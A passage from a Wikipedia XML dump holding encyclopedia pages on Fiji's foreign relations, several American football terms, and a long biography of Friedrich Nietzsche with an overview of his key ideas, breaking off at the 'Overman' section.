Fiji plays an active role in numerous international bodies.  The [[South Pacific Forum]] was largely the brainchild of [[Kamisese Mara|Ratu Sir Kamisese Mara]], Fiji's first Prime Minister.  The country has been an outspoken participant many international forums.

=== Oceania Customs Organisation ===
On [[1 September]] [[2005]], it was announced that the [[Oceania Customs Organization]] would relocate to Fiji in [[2006]].  Though located in Fiji, it would be totally independent of the Fijian government and of the [[Fiji Islands Revenue and Customs Authority]] (FIRCA), Finance Minister [[Jone Kubuabola|Ratu Jone Kubuabola]] said, and for the first three years of its presence in Fiji, its secretariat would be financed by the New Zealand government.

=== World Trade Organization ===
Speaking at the 18th [[Fiji-Australia Business Forum]] in [[Sydney]] on [[17 October]] [[2005]], Prime Minister Qarase strongly criticized the [[World Trade Organization]], saying that its policies were unfair to small countries like Fiji.  ''&quot;WTO is trying to impose equality of trade in an unequal world,&quot;'' he said, ''&quot;but for developing countries like Fiji there is no level playing field, just a slippery slope.&quot;''  It would be a long time before Fiji's economy could compete on equal terms with that of more developed nations, he considered.

=== International Labour Organization ===
On [[10 January]] [[2006]], the Fijian government criticized the [[International Labour Organization]] for what it said was the organization's unfair treatment of the [[Fiji Islands Congress of Trade Unions]] (FICTU).  [[Minister for Labour (Fiji)|Labour Minister]] [[Kenneth Zinck]] said the government had received a complaint from FICTU about the ILO's discrimination against it in favour of the rival [[Fiji Trades Union Congress]].

== Diplomatic initiatives ==
Speaking at the 6th Session of the [[Permanent Forum on Indigenous Issues]] in [[New York City]] on [[23 May]] [[2005]], [[Isikia Savua]], Fiji's Permanent Representative (Ambassador) to the [[United Nations]], called for equal recognition of individual and collective rights in national and international policies.  He said that Fiji had embodied both concepts in its [[Constitution of Fiji|Constitution]], through such provisions as [[Communal constituencies (Fiji)|communal voting]] (giving each elector to vote for two members of the [[House of Representatives (Fiji)|House of Representatives]], one from his or her own ethnic group, and the other from any ethnic group).

On [[1 September]] [[2005]], Prime Minister Qarase announced his intention to ask his Australian counterpart, [[John Howard]], for more favourable market access for Pacific Island products.  He called on Australia and New Zealand to revise the rules of origin under the [[SPARTECA]] trade agreement, and reduce the figure from 50 percent to 35 percent, thereby allowing Fiji to export a higher percentage of garments made elsewhere to Australian and New Zealand markets.

On [[28 October]] [[2005]], Prime Minister Qarase criticized Australia and New Zealand for refusing to grant temporary work permits to Pacific Islanders.  He said the two countries were acting unfairly in assuming that such permits would encourage illegal immigration.  The Prime Minister claimed that in the absence of such work permits, Pacific Islanders visiting Australia and New Zealand often undertook illegal employment anyway.

[[Category:Politics of Fiji]]
[[Category:Foreign relations by country|Fiji, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Goal line</title>
    <id>10664</id>
    <revision>
      <id>29770717</id>
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        <username>Zzyzx11</username>
        <id>182902</id>
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      <minor />
      <comment>moved [[Football goal]] to [[Goal line]]</comment>
      <text xml:space="preserve">The '''goal line''' is the chalked or painted line dividing the [[end zone]] from the field of play in [[Canadian football]] and [[American football]].

If any part of the ball reaches any part of the imaginary vertical plane transected by this line while [[in-bounds]] and in possession of a player whose team is striving toward that end of the field, this is called a [[touchdown]] and scores six points for the team whose player has advanced the ball to, or recovered the ball in, this position.

If any member of the [[offensive team]] is [[down (football)|down]]ed while in possession of the ball and at or behind the goal toward which the other team is striving, this is called a [[safety]] and scores two points for the [[defensive team]].

If, during the course of play, a loose ball travels past the goal line and is recovered within the [[end zone]], then it is a touchdown if recovered by the team striving toward that goal, or a [[touchback]] if recovered and [[football down|down]]ed by the team striving toward the goal at the opposite end of the field.

==See also==
*[[American football/Glossary]]

[[Category:American football terminology]]
[[Category:Canadian football terminology]]</text>
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  </page>
  <page>
    <title>Football down</title>
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      <text xml:space="preserve">#REDIRECT [[Down_(football)]]</text>
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  </page>
  <page>
    <title>Dead ball (American football)</title>
    <id>10666</id>
    <revision>
      <id>36150473</id>
      <timestamp>2006-01-22T00:24:35Z</timestamp>
      <contributor>
        <username>Alynna Kasmira</username>
        <id>299884</id>
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      <minor />
      <comment>Stub-sorting. [[Wikipedia:WikiProject Stub sorting|You can help!]]</comment>
      <text xml:space="preserve">A '''dead ball''' in [[American football]] is a condition that occurs between [[football play]]s.  During the time in which a ball is dead, a team may not attempt to advance it and no change of possession takes place.

==See also==
*[[American football/Glossary]]

{{americanfootball-stub}}

[[Category:American football terminology]]</text>
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  </page>
  <page>
    <title>Tackle (football)</title>
    <id>10667</id>
    <revision>
      <id>41383114</id>
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      <contributor>
        <ip>70.80.169.57</ip>
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      <comment>/* Types of Tackles */</comment>
      <text xml:space="preserve">Most forms of [[football]] have a move known as a '''tackle'''. In most cases this move is one that prevents an opposing player from carrying out what they intend.

==American Football==
In [[American football]] and [[Canadian football]] to tackle is to physically interfere with the forward progress of a player in possession of the ball, such that his forward progress ceases and is not resumed, or such that he is caused to touch some part of his body to the ground other than his feet or hands, or such that he is forced to go out of bounds.  In any such case, the ball becomes [[Dead ball (American football)|dead]], the down is over, and play ceases until the beginning of the next [[football play|play]]. A tackle is known as a [[quarterback sack]] when the [[quarterback]] is tackled behind the [[line of scrimmage]]. '''Tackle''' is also the name of player positions on both the [[offensive tackle|offensive]] and [[defensive tackle|defensive]] teams. Usually there is a left and right tackle on each team.

==[[Rugby Football]]==
In [[Rugby League]] a '''tackle''' is completed when a player's ball-carrying arm touches the ground at the same time as an opponent has some contact with his body, or when one or more opponents hold a player on his feet so that his momentum (in any direction) ceases, or simply if the [[referee]] calls ''held''.  If necessary, the tackled player is then allowed to regain his feet; play continues by means of a ''play-the-ball''.

In  [[Rugby Union]] the [[Rugby Union#Tackle|tackle]] is similar to ''Rugby League'', the tackled player must release the ball, but the ball is not dead and a ''[[Rugby union#Ruck|ruck]]'' forms to contest possession of it.  Also, players cannot be tackled standing up: they must either be brought to the ground or a ''[[Rugby Union#Maul|maul]]'' forms.

==[[Australian Rules Football]]==
In [[Australian Rules Football|Australian Rules (Aussie Rules)]] the tackle is again similar. However if the tackled player does not dispose of the ball having had opportunity to do so (called the [[holding the ball]] rule), or concedes a penalty in the tackle (i.e. tries to throw the ball when you are only allowed to &quot;handball&quot; or kick it) the tackler is rewarded with a free kick by the [[umpire]]. A tackle must not make contact above the shoulders or below the knees.  Players wear little to no padding to cushion the impact of tackles.  There are also rules outlawing pushing in the back making tackling more difficult.  In addition to tackling, the [[bump (football)|bump]] or ''hip and shoulder'' is a legal aussie rules tactic for both dispossession of the player with the ball and also impeding players involved in a contest but not in possession of the ball.  The difference between a bump and a tackle is that arms are not used in a bump, which must be made side-on using the hip or shoulder.

==[[International Rules Football]]==
A hybrid game between [[Gaelic Football]] (which does not allow tackling, but does allow bumping) and Australian rules football (which does allow tackling).
Tackling in International Rules is subject to similar rules as Australian rules football, although tackling is only allowed as low as the waist in International Rules, whereas it is allowed down to the knees in Aussie Rules.

==Association Football (soccer)==
In [[Football (soccer)|Association Football (soccer)]] a player '''tackles''' an opponent by taking control of the ball from them.  This is achieved by using either leg to wrest possession from the opponent, or to slide in to kick the ball away.  Unless the tackle is seen as an illegal one by the referee (if a player makes no contact with the ball, if he makes contact with his opponent before the ball, or makes unfair contact with the player after playing the ball), play continues following a tackle. Tackles with the use of both legs (rather than just one of them) are often called foul.

==Types of Tackles==
* [[spear tackle]] (dangeous throw) - rugby league, rugby union &amp; Australian rules
* [[slide tackle]] - football (soccer)
* [[high tackle]] (illegal head high tackle) - rugby league &amp; Australian rules
* [[ankle tap]] - rugby union

[[Category:American football terminology]]
[[Category:Rugby union terminology]]
[[Category:Rugby league terminology]]
[[Category:Football (soccer) terminology]]
[[Category:Australian rules football terminology]]

[[de:Tackling]]</text>
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  </page>
  <page>
    <title>Play from scrimmage</title>
    <id>10668</id>
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        <username>Zzyzx11</username>
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      <comment>change cat to [[Category:American football terminology]]</comment>
      <text xml:space="preserve">A '''play from scrimmage''' is the activity of the games of [[Canadian football]] and [[American football]] during which one team tries to advance the ball or to score, and the other team tries to stop them or take the ball away.  Once a play is over, and before the next play starts, the football is considered [[dead ball (football)|dead]].  A game of American football consists of many such plays.

The term is also used to denote a specific plan of action, or its execution, under a particular set of circumstances faced by either team.  For instance, the [[offensive team]] may be faced with one or two [[down (football)|downs]] left in a [[football possession|possession]] and still ten or more yards to go to earn a new set of downs.  In this instance, they may decide to employ a [[forward pass]].  Well in advance of the particular game, a number of different kinds of [[forward pass]] plays will have been planned out and practiced by the team.  They will be designated by obscure words, letters and/or numbers so that the name of a play does not reveal its exact execution to outsiders.  The team's coach, or perhaps the [[quarterback]], will choose one of the pre-planned [[forward pass]]ing strategies, and tell the team, during the [[football huddle|huddle]] which one has been chosen.  Because of planning and practice, each player will know what his role in the play is to be, and how to execute it.  This will be the offensive play.

Conversely, the [[defensive team]] will know that the offense has to cover a good deal of ground in a single play, will expect a forward pass, and will know from earlier study something of the propensities of the offense they face.  The [[defensive captain]] is likely to call out a specific [[football formation|formation]] or defensive play, to anticipate and counteract the expected action by the offense.

The play will begin with the [[football snap|snap]] of the ball from the [[football center|center]] to a [[football back|back]], usually the [[quarterback]], and it will end when the effort by the offensive squad to advance the ball has either succeeded in scoring, or has been frustrated by the ball being [[football down|downed]] before the aim of the offensive play is accomplished, or by the defensive squad having managed to come into possession of the ball without first downing it.  In the event of change of possession during a play, the team newly in possession of the ball may try to advance it toward their own goal, which the team formerly in possession with naturally resist.  Change of possession during a routine play may occur by [[interception]] or by [[fumble]].  

Change of possession may also occur in other ways.  A change of possession can  occur ''on downs'', if the offensive team fails to achieve a [[first down]] or a [[touchdown]] in four attempts.  Another way is through a [[change of possession play]], when the offensive team, having surmised the unlikelihood of scoring or achieving a [[first down]] within four attempts, kicks the ball away in what is known as a [[punt (football)|punt]].   [[Kickoff|kickoff]]s and [[free kick]]s are not considered true [[change of possession play]]s.

==See also==
*[[Glossary of American football]]

[[Category:American football terminology]]</text>
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    <title>Football player</title>
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      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of footballers]]</text>
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  <page>
    <title>Friedrich Nietzche</title>
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      <text xml:space="preserve">#REDIRECT [[Friedrich Nietzsche]]
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  <page>
    <title>Friedrich Nietzsche</title>
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      <timestamp>2006-03-03T22:25:52Z</timestamp>
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        <username>Chef aka Pangloss</username>
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      <comment>/* Life */ link and minor correction; see talk page, too</comment>
      <text xml:space="preserve">{{toobig}}
{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[19th-century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = FWNietzscheSiebe.jpg |
  image_caption   = Friedrich Nietzsche |

  &lt;!-- Information --&gt;
  name             = Friedrich Wilhelm Nietzsche |
  birth            = [[October 15]], [[1844]] ([[Röcken|Röcken bei Lützen]], [[Saxony]], [[Prussia]]) |
  death            = [[August 25]], [[1900]] ([[Weimar]], [[Germany]]) |
  school_tradition = Precursor to [[Existentialism]] |
  main_interests   = [[Ethics]], [[Metaphysics]], [[Epistemology]], [[Aesthetics]], [[Language]]  |
  influences       = [[Jacob Burckhardt|Burckhardt]], [[Socrates]], [[Ralph Waldo Emerson|Emerson]], [[Johann Wolfgang von Goethe|Goethe]], [[Heraclitus]], [[Michel de Montaigne|Montaigne]], [[Arthur Schopenhauer|Schopenhauer]], [[Fyodor Dostoevsky|Dostoevsky]], [[Max Stirner]], [[Richard Wagner|Wagner]] |
  influenced       = [[Jacques Derrida|Derrida]], [[Michel Foucault|Foucault]], [[Martin Heidegger|Heidegger]], [[Muhammad Iqbal|Iqbal]], [[Karl Jaspers|Jaspers]], [[Jean-Paul Sartre|Sartre]], [[Gilles Deleuze|Deleuze]], [[Albert Camus|Camus]], [[Rainer Maria Rilke|Rilke]], [[Georges Bataille|Bataille]], [[Ayn Rand|Rand]] | 
  notable_ideas    = Apollonian-Dionysian Duality, Eternal Recurrence, Will to Power, Nihilism, Herd Instinct, Overman, Attack on Christianity, Master-Slave Morality | 
}}
'''Friedrich Wilhelm Nietzsche''' ([[International Phonetic Alphabet|IPA]]:{{IPA|[ˈnitʃə], [ˈnitʃi]}}) ([[October 15]], [[1844]] &amp;ndash; [[August 25]], [[1900]]) was a German [[philosopher]], whose critiques of contemporary culture, religion, and philosophy centered around a basic question regarding the [[Goodness and value theory|foundation of values and morality]].  Beyond the unique themes dealt with in his works, Nietzsche's powerful style and subtle approach are distinguishing features of his writings.  Although largely overlooked during his short working life, which ended with a mental collapse at the age of 44, Nietzsche received recognition during the second half of the 20th century as a highly significant figure in modern philosophy.  His influence was particularly noted throughout the 20th century by many [[existentialism|existentialist]], [[Phenomenology|phenomenological]] and [[postmodernism|postmodern]] philosophers.

== Life ==
=== Youth (1844&amp;ndash;1869) ===
Friedrich Nietzsche was born on [[October 15]] [[1844]], in the small town of [[Röcken]], near [[Leipzig]], within what was then the [[Prussia|Prussian]] province of [[Saxony]]. His name comes from King [[Frederick William IV of Prussia]], on whose 49th birthday Nietzsche was born. Nietzsche's parents were Carl Ludwig (1813-1849), a [[Lutheranism|Lutheran]] [[pastor]] and former teacher, and Franziska (1826-1897). His sister, [[Elisabeth Förster-Nietzsche|Elisabeth]], was born in 1846, followed by his brother Ludwig Joseph in 1848.  After the death of their father in 1849 and the young brother in 1850, the family moved to [[Naumburg]], where they lived with his maternal grandmother and his father's two unmarried sisters under the guardianship of a local [[magistrate]], Bernhard Dächsel.

After the death of his grandmother in 1856, the family was able to afford their own house.  During this time, the young Nietzsche attended a boys' school and later a private school, where he became friends with Gustav Krug and Wilhelm Pinder, both of whom came from respected families. In 1854, he began to attend a [[Roman Catholic Church|Catholic]] preparatory school, but after demonstrating particular talents in [[music]] and language, he was admitted to the internationally recognized [[Pforta|Schulpforta]], where he continued his studies from 1858 to 1864. Here he became friends with [[Paul Deussen]] and [[Carl von Gersdorff]]. He also found time to work on [[Poetry|poems]] and musical compositions. At Schulpforta, Nietzsche received an important introduction to literature, particularly in regard to the Ancient [[Ancient Greece|Greeks]] and [[Ancient Rome|Romans]], and also first experienced a distance from his family life in a small-town [[Christianity|Christian]] environment.
[[Image:1864c.jpg|thumb|200px|Friedrich Nietzsche, 1864.]]
After graduation, in 1864, Nietzsche commenced his studies in [[theology]] and classical [[philology]] at the University of Bonn. For a short time, with Deussen, he was a member of the [[Burschenschaft]] ''Frankonia''. After one semester and to the anger of his mother, he stopped his studies in theology, and concentrated on [[philology]], with Professor [[Friedrich Wilhelm Ritschl]], whom he followed to the [[University of Leipzig]] the next year. There, he became close friends with fellow student [[Erwin Rohde]]. Nietzsche's first philological publications appeared soon after.

In 1865, Nietzsche became acquainted with the work of [[Arthur Schopenhauer]], and  [[Friedrich Albert Lange|Friedrich Albert Lange's]] ''[[Geschichte des Materialismus]]'' in 1866. Both of these encounters were stimulating, encouraging him to no longer limit himself to philology and continue his schooling. In 1867, Nietzsche committed to one year of voluntary service with the Prussian [[artillery]] division in Naumburg. However, a bad riding accident in March 1868 left him unfit for service. Consequently Nietzsche returned his attention to his studies, completing them and first meeting with [[Richard Wagner]] later that year.

=== Professor at Basel (1869&amp;ndash;1879) ===
[[Image:Nietzsche187a.jpg|thumb|200px|Friedrich Nietzsche in Basel, ca. 1875.]]

Based on Ritschl's support, Nietzsche received an extraordinary offer to become professor of classical philology at the [[University of Basel]] before having completed his doctorate degree or certificate for teaching. Among his philological work there, he discovered that the ancient poetic [[Meter (poetry)|meter]] related only to the length of syllables, different from the modern, accentuating meter.

After moving to Basel, Nietzsche renounced his Prussian citizenship, and was for the rest of his life, officially [[Stateless person|stateless]]. Nevertheless, he served on the Prussian side during the [[Franco-Prussian War]] as a medical orderly. His time in the military was short, but he experienced much, and witnessed the traumatic effects of battle. He also contracted [[diphtheria]] and [[dysentery]].

On returning to Basel in 1870, Nietzsche observed the establishment of the [[German Empire]] and the following era of [[Otto von Bismarck]] as an outsider and with a degree of skepticism regarding its genuineness. At the University, he delivered his inaugural lecture, 'On Homer's Personality'. Also, Nietzsche met [[Franz Overbeck]], a professor of theology, who remained his friend throughout his life. The other most influential colleague was historian [[Jacob Burckhardt]], whose lectures Nietzsche frequently attended.

Already in 1868, Nietzsche had met Richard Wagner in Leipzig, and sometime later, his wife, [[Cosima Wagner|Cosima]]. Nietzsche admired both greatly, and during his time at Basel was a frequent guest in Wagner's 'House of the Masters' in [[Tribschen]]. The Wagners brought Nietzsche into their closest circle, and enjoyed the attention he gave to the beginning of the Festival House in Bayreuth. In 1870, he gave Cosima Wagner the manuscript of 'The Genesis of the Tragic Idea' as a birthday gift.

In 1872, Nietzsche published his first book, ''The Birth of Tragedy out of the Spirit of Music.'' However, the work, in which he forewent a precise philological method to employ a style of philosophical speculation, was not well received among his classical philological colleagues, including Ritschl. In a polemic, 'Future Philology', [[Ulrich von Wilamowitz-Moellendorff]] dampened the book's reception and increased its notoriety. In response, Rohde, by now a professor in Kiel, and Wagner came to Nietzsche's defense. Nietzsche remarked freely about the isolation he felt within the philological community and attempted unsuccessfully to attain a position in philosophy at Basel.

Between 1873 and 1876, Nietzsche published separately four long essays: ''David Strauss: the Confessor and the Writer'', ''On the Use and Abuse of History for Life'', ''Schopenhauer as Educator'', and ''Richard Wagner in Bayreuth''. (These four were later collected and published under the title, ''Untimely Meditations''.) The four shared the orientation of a cultural critique, challenging the developing German culture along lines suggested by Schopenhauer and Wagner. Starting in [[1873]], he also accumulated notes that were posthumously published as ''[[Philosophy in the Tragic Age of the Greeks]]''.

During this time, in the circle of the Wagners, Nietzsche met Malwida von Meysenbug and [[Hans von Bülow]], and also began a friendship with [[Paul Rée]], an influence for the pessimism in his early writings. However, his disappointment with the Bayreuth Festival of 1876, where he was repelled by the banality of the shows and the baseness of the public, caused him to finally distance himself from Wagner.

Most commentators agree that Nietzsche read [[Max Stirner]], however they differ in respect to whether he was influenced by him. {{ref|Brobjer}} At least one, philosopher [[Eduard von Hartmann]], has accused him of plagiarizing Stirner.

With the publication of ''Human, All-Too-Human'' in 1878, a book of [[aphorisms]] on subjects ranging from metaphysics to morality and from religion to the sexes, Nietzsche's departure from the philosophy of Wagner and Schopenhauer became evident. Also, Nietzsche's friendship with Deussen and Rohde cooled. Nietzsche undertook more experiments, attempted to find a wife, and pursued Malwida von Meysenbug to no avail.

In 1879, after a significant decline in health, he was forced to resign his position. Since his childhood, Nietzsche had been plagued by various disruptive illnesses -- moments of shortsightedness practically to the degree of blindness, migraine headaches, and violent stomach attacks. These persistent conditions were perhaps aggravated by his riding accident in 1868 and diseases in 1870, and continued to affect him through his years at Basel, forcing him to take longer and longer holidays until regular work was no longer practicable.

=== Free philosopher (1879&amp;ndash;1889) ===
[[Image:Nietzsche paul-ree lou-von-salome188.jpg|thumb|200px|[[Lou Andreas-Salomé|Lou Salomé]], [[Paul Rée]] and Nietzsche, 1882.]]

Driven by his illness to find more compatible climates, Nietzsche travelled frequently and lived until 1889 as a free author in different cities. He spent many summers in [[Sils|Sils Maria]], near [[St. Moritz]] in [[Switzerland]], and many winters in the [[Italy|Italian]] cities of [[Genoa]], [[Rapallo]], and [[Turin]], and the French city of [[Nice]]. He occasionally returned to Naumburg to visit his family, and especially during this time, he and his sister had repeated periods of conflict and reconciliation. He lived on his pension from Basel, but also received aid from friends.

A past student of his, [[Peter Gast]] (born Heinrich Köselitz), became a private secretary. To the end of his life, Gast and Overbeck were consistently faithful friends. Malwida von Meysenbug remained like a motherly patron even outside the Wagner circle. Soon Nietzsche made contact with the music critic [[Carl Fuchs]].

Nietzsche was at the beginning of his most productive period. Beginning with ''Human, All-Too-Human'' in 1878, Nietzsche would publish one book (or major section of a book) each year until 1888, his last year of writing, during which he completed five. In 1879, Nietzsche published ''Mixed Opinions and Maxims'', which followed the aphoristic form of ''Human, All-Too-Human''. The following year, he published ''The Wanderer and His Shadow''. Both were published as the second part of ''Human, All-Too-Human'' with the second edition of the latter.

In 1881, Nietzsche published ''Daybreak: Reflections on Moral Prejudices'', and in 1882, the first part of ''The Gay Science''. That year he also met [[Lou Andreas-Salomé|Lou Salomé]] through Malwida von Meysenbug and Paul Rée. Nietzsche and Salomé spent the summer together in [[Tautenburg]], often with Nietzsche's sister Elisabeth as chaperone. However, Nietzsche's regard for Salomé was less as an equal partner than as a gifted student. He fell in love with her and pursued her despite their mutual friend Rée. When he asked to marry her, Salomé refused. Through various avenues of intrigue, Elisabeth broke up Nietzsche's relationship with Rée and Salomé in the winter of 1882-83. (Lou Salomé eventually came to correspond with [[Sigmund Freud]], introducing him to Nietzsche's thought.) In the face of renewed fits of illness, in near isolation after a falling out with his mother and sister regarding Salomé, and plagued by suicidal thoughts, he fled to Rapallo, where in only ten days he wrote the first part of ''[[Thus Spoke Zarathustra]]''.

After severing philosophical ties to Schopenhauer and social ties to Wagner, Nietzsche had few remaining friends. Now with the new style of ''Zarathustra'', his work became even more alienating and was received only to the degree prescribed by politeness. Nietzsche recognized this and maintained his solitude, even though he often complained about it. He gave up his short-lived plan to become a poet in public, and was troubled by concerns about his publications. His books were as good as unsold. In 1885, he printed only 40 copies of the fourth part of ''Zarathustra'', and only a fraction of these were distributed among close friends.

In 1886, he printed ''[[Beyond Good and Evil]]'' at his own expense. With this book and the appearance in 1886-87 of second editions of his earlier works (''[[The Birth of Tragedy]]'', ''[[Human, All-Too-Human]]'', ''[[Daybreak]]'', and ''[[The Gay Science]]''), he saw his work completed for the time and hoped that soon a readership would develop. In fact, the interest in Nietzsche did arise at this time, if also rather slowly and hardly perceived by him.

During these years, Nietzsche's met [[Meta von Salis]], [[Carl Spitteler]], and also [[Gottfried Keller]]. In 1886, his sister Elisabeth married the [[Anti-Semitic|anti-Semite]] [[Bernhard Förster]] and travelled to Paraguay to found a &quot;Germanic&quot; colony, a plan to which Nietzsche responded with laughter. Through correspondence, Nietzsche's relationship with Elisabeth continued on the path of conflict and reconciliation, but she would not see him again in person until after his collapse.

Nietzsche continued to have frequent and painful attacks of illness, which made prolonged work impossible. In 1887, Nietzsche quickly wrote the polemic ''[[On the Genealogy of Morals]]''.  He also exchanged letters with [[Hippolyte Taine]], and then also with [[Georg Brandes]], who at the beginning of 1888 delivered in Copenhagen the first lectures on Nietzsche's philosophy.

In the same year, Nietzsche wrote five books, based on his voluminous notes for the long-planned work, ''[[The Will to Power]]''. His health seemed to be improving, and in the summer he was in high spirits. In the fall of 1888, his writings and letters began to reveal an overestimation of his status and 'fate'. He overestimated the increasing response to his writings, above all, for the recent polemic, ''[[The Case of Wagner]]''.

On his 44th birthday, after completing ''[[The Twilight of the Idols]]'' and ''[[The Antichrist]]'', he decided to write the autobiography ''[[Ecce Homo]]'', which presents itself to his readers in order that they, 'Hear me! For I am such and such a person. Above all, do not mistake me for someone else.' (Preface, sec. 1, tr. [[Walter Kaufmann]])

In December, Nietzsche began correspondence with [[August Strindberg]], and thought that, short of an international breakthrough, he would attempt to buy back his older writings from the publisher and have them translated into other European languages. Moreover, he planned the publication of the compilation ''[[Nietzsche Contra Wagner]]'' and the poems ''[[Dionysian Dithyrambs]]''.

On [[3 January]] [[1889]], Nietzsche had a mental collapse. That day he had been approached by two Turinese policemen after making some sort of public disturbance in the streets of Turin. What actually happened is not known. The often-repeated (and apocryphal) tale is that Nietzsche saw a horse being whipped at the other end of the Piazza Carlo Alberto, ran to the horse, threw his arms up around the horse’s neck to protect it, and collapsed to the ground. In the following few days, he sent short writings to a number of friends, including Cosima Wagner and Jacob Burckhardt, which showed signs of a breakdown.

To his former colleague Burckhardt he wrote: 'I have had Caiphas put in fetters. Also, last year I was crucified by the German doctors in a very drawn-out manner. Wilhelm, Bismarck, and all anti-Semites abolished.' ([[The Portable Nietzsche]], trans. Walter Kaufmann)

=== Mental breakdown and death (1889&amp;ndash;1900) ===
On [[January 6]] [[1889]], Burckhardt showed the letter he received from Nietzsche to Overbeck. The following day Overbeck received a similarly revealing letter, and decided Nietzsche must be brought back to Basel. Overbeck traveled to Turin and brought Nietzsche to a psychiatric clinic in Basel.

By that time, Nietzsche was fully in the grip of insanity, and his mother Franziska decided to bring him to a clinic in [[Jena]] under the direction of [[Otto Binswanger]]. From November 1889 to February 1890, [[Julius Langbehn]] attempted to cure Nietzsche, claiming that the doctors' methods were ineffective to cure Nietzsche's condition. Langbehn assumed greater and greater control of Nietzsche until his secrecy discredited him. In March 1890, Franziska removed Nietzsche from the clinic, and in May 1890 to her home in Naumburg.

During this process, Overbeck and Gast contemplated what to do with Nietzsche's unpublished works. In January 1889 they proceeded with the planned release of ''[[The Twilight of the Idols]]'', by that time already printed and bound. In February, they ordered a 50-copy private edition of ''Nietzsche Contra Wagner'', but the publisher [[C. G. Naumann]] secretly printed 100. Overbeck and Gast decided to withhold publishing ''Antichrist'' and ''Ecce Homo'' due to their more radical content. Nietzsche's reception and recognition enjoyed their first surge.

In 1893, Nietzsche's sister Elisabeth returned from Paraguay after the suicide of her husband. She read and studied Nietzsche's works, and piece by piece took control of them and their publication. Overbeck was eventually dismissed, and Gast finally cooperated. After the death of Franziska in 1897, Nietzsche lived in [[Weimar]], where he was cared for by Elisabeth, who allowed people to visit the uncommunicative Nietzsche.

On [[August 25]] [[1900]], Nietzsche died after contracting pneumonia. At the wish of Elisabeth, he was buried beside his father at the church in Röcken.

The cause of Nietzsche's breakdown has been the subject of speculation and remains uncertain. An early and frequent diagnosis was a [[syphilis|syphilitic infection]]; however, some of Nietzsche's symptoms were inconsistent with typical cases of syphilis. Another diagnosis was a form of brain cancer. Others suggest that Nietzsche experienced a mystical awakening, similar to ones studied by [[Meher Baba]]. While most commentators regard Nietzsche's breakdown as irrelevant to his philosophy, some, including [[Georges Bataille]], argue that the breakdown must be considered.

== Key concepts==
[[Image:Nietzsche1882.jpg|thumb|200px|Friedrich Nietzsche in [[1882]]]]
Much controversy surrounds whether Nietzsche advocated a single or comprehensive philosophical viewpoint. Many charge Nietzsche with propounding contradictory thoughts and ideas. Here are Nietzsche's main ideas.

=== Nihilism and the death of God ===
For Nietzsche, [[nihilism]] is the outcome of repeated frustrations in the search for meaning. He diagnosed nihilism as a latent presence within the very foundations of European culture, and thus, as a necessary and approaching destiny. The religious worldview had already suffered a number of challenges from contrary perspectives grounded in philosophical skepticism, and in modern science's  evolutionary and heliocentric theory.

Nietzsche sees this intellectual condition as a new challenge to European culture, which has extended itself beyond a sort of point-of-no-return. Nietzsche conceptualizes this with the famous statement, '[[God is dead]]', which appears prominently in ''The Gay Science'' and ''Thus Spoke Zarathustra''. The statement suggests the impending crisis that European thought faces in the wake of the irreparable disturbances to its traditional foundations. 

Nietzsche treats this phrase as more than a provocative declaration, but almost reverently, as it represents the potential of a nihilism that arrests growth and progress in the midst of an overwhelming absurdity and meaninglessness:

: The greatest recent event -- that 'God is dead', that the belief in the Christian god has become unbelievable -- is already beginning to cast its first shadows over Europe. For the few at least, whose eyes -- the suspicion in whose eyes is strong and subtle enough for this spectacle, some sun seems to have set and some ancient and profound trust has been turned into doubt; to them our old world must appear daily more like evening, more mistrustful, stranger, 'older'. But in the main one may say: The event itself is far too great, too distant, too remote from the multitude's capacity for comprehension even for the tidings of it to be thought of as having ''arrived'' as yet. Much less may one suppose that many people know as yet ''what'' this event really means -- and how much must collapse now that this faith has been undermined because it was built upon this faith, propped up by it, grown into it; for example, the whole of our European morality. This long plenitude and sequence of breakdown, destruction, ruin, and cataclysm that is now impending -- who could guess enough of it today to be compelled to play the teacher and advance proclaimer of this monstrous logic of terror, the prophet of a gloom and an eclipse of the sun whose like has probably never yet occurred on earth?
: (Gay Science, Book V, sec. 343, trans. Walter Kaufmann)

The first instance of the phrase occurs at the beginning of Book III of ''The Gay Science'' (section 108), and again prominently in section 125.

=== Amor fati and the eternal recurrence ===
The idea of ''[[eternal recurrence]]'' is central to the writings of [[Friedrich Nietzsche]].  Nietzsche first encountered the idea in the works of [[Heinrich Heine]], who speculated that there would one day be a person born with the same thought processes as himself, and that the same was true of every other person on the planet.  Nietzsche expanded on this thought to form his theory, which he put forth in ''[[The Gay Science]]'' and developed in ''[[Thus Spoke Zarathustra]]''.

On a few occasions in his notebooks, Nietzsche discusses the possibility of the Eternal Recurrence as cosmological truth (see Arthur Danto, ''Nietzsche as Philosopher'' for a detailed analysis of these efforts), but in the works he prepared for publication, it is treated as the ultimate method of life affirmation.  According to Nietzsche, it would require a sincere ''Amor Fati'' (Love of Fate), not simply to endure, but to ''wish for'' the eternal recurrence of all events exactly as they occurred---all of the pain and joy and the embarrassment and glory.

Nietzsche calls the idea &quot;horrifying and paralyzing&quot;, and he also states that the burden of this idea is the &quot;heaviest weight&quot; imaginable (''das schwerste Gewicht'').  The wish for the eternal return of all events would mark the ultimate affirmation of life:

: ''What, if some day or night a demon were to steal after you into your loneliest loneliness and say to you: 'This life as you now live it and have lived it, you will have to live once more and innumerable times more' ... Would you not throw yourself down and gnash your teeth and curse the demon who spoke thus? Or have you once experienced a tremendous moment when you would have answered him: 'You are a god and never have I heard anything more divine.&lt;nowiki&gt;'&lt;/nowiki&gt;'' (''[[The Gay Science]]'')

As described by Nietzsche, the eternal return is more than merely an intellectual concept or challenge, it is akin to a [[koan]], or a psychological device that occupies one's entire consciousness stimulating a transformation of consciousness known as [[metanoia]].

Nehamas wrote in ''Nietzsche:  Life as Literature'' that there are three ways of seeing the eternal recurrence. &quot;(A) My life will recur in exactly identical fashion.&quot; This is a totally fatalistic approach to the idea. &quot;(B) My life may recur in exactly identical fashion.&quot; This second view is a conditional assertion of cosmology, but fails to capture what Nieztsche refers to in GS, 341. Finally, &quot;(C) If my life were to recur, then it could recur only in identical fashion.&quot; Nehemas shows that this interpretation is totally independent of physics and does not presuppose the truth of cosmology. Nehamas' interpretation is that if individuals constitute themselves through their actions the only way to maintain themselves as they are is to live in a reoccurrence of past actions (Nehamas 153).

=== Overman ===

